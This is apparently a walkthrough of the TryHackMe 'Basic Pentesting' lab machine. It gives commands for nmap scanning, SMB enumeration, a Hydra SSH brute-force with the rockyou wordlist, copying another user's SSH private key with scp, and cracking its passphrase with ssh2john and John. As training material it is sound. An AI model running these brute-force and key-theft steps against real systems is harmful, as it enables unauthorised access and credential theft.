BASIC PENTESTING MACHINE

https://tryhackme.com/room/basicpentestingjt

ENUMERATION

00:12 Namp enumeration, high verbosity, version detection, using default script and guess OS detect

nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess 10.10.167.101

Enumerating SMB Services

Options #1: Enumerating SMB with smbclient

00:54 SMB enumeration with smbclient

kali@kali:~$ smbclient -L //10.10.167.101   
Enter WORKGROUP\kali's password: 
​
        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
​

Option #2 Enumerate SMB with enum4linux

─$ enum4linux -a 10.10.122.99 
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jan 22 08:32:56 2022
​
 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.122.99
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
​
 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.122.99    |
 ==================================================== 
[+] Got domain/workgroup name: WORKGROUP
​
 ============================================ 
​

Using Hydra with username Brute force SSH

kali@kali:~$ hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.10.167.101
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
​

Searching for Kay passphrase ?

Get Feras Kanaan (0xFK)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Downloading id_rsa , Then extract the hash

kali@kali:~$ scp jan@10.10.167.101:/home/kay/.ssh/id_rsa id_rsa
jan@10.10.167.101's password: 
id_rsa                                                    100% 3326    22.4KB/s   00:00    
kali@kali:~$ python $(locate ssh2john.py) id_rsa > id_rsa.hash

Using John to crack the hash

​kali@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

SSH Access

jan@basic2:/home$ ssh -i kay/.ssh/id_rsa kay@localhost

00:12 Namp enumeration, high verbosity, version detection, using default script and guess OS detect

00:43 Port 80 web browsing

00:47 OS and web-server detection using Wappalyzer

00:54 SMB enumeration with smbclient

01:15 SMB share access

01:22 SMB get file command

01:30 Potential users name (jan,kay) found in staff.txt file

01:40 Bruteforce jan ssh using Hydra and rockyou list

02:04 Jan ssh password found

02:20 Search for writtable files and folders for jan

02:46 Kay’s ssh private key (id_rsa) found

02:59 Kay’s ssh access failed, without passphrase

03:27 Download id_rsa using scp

03:54 Transforming transforms RSA private key to john format

04:00 Crack the hash with john the reaper

04:36 Password Cracked

04:43 SSH using kay credential with id_rsa key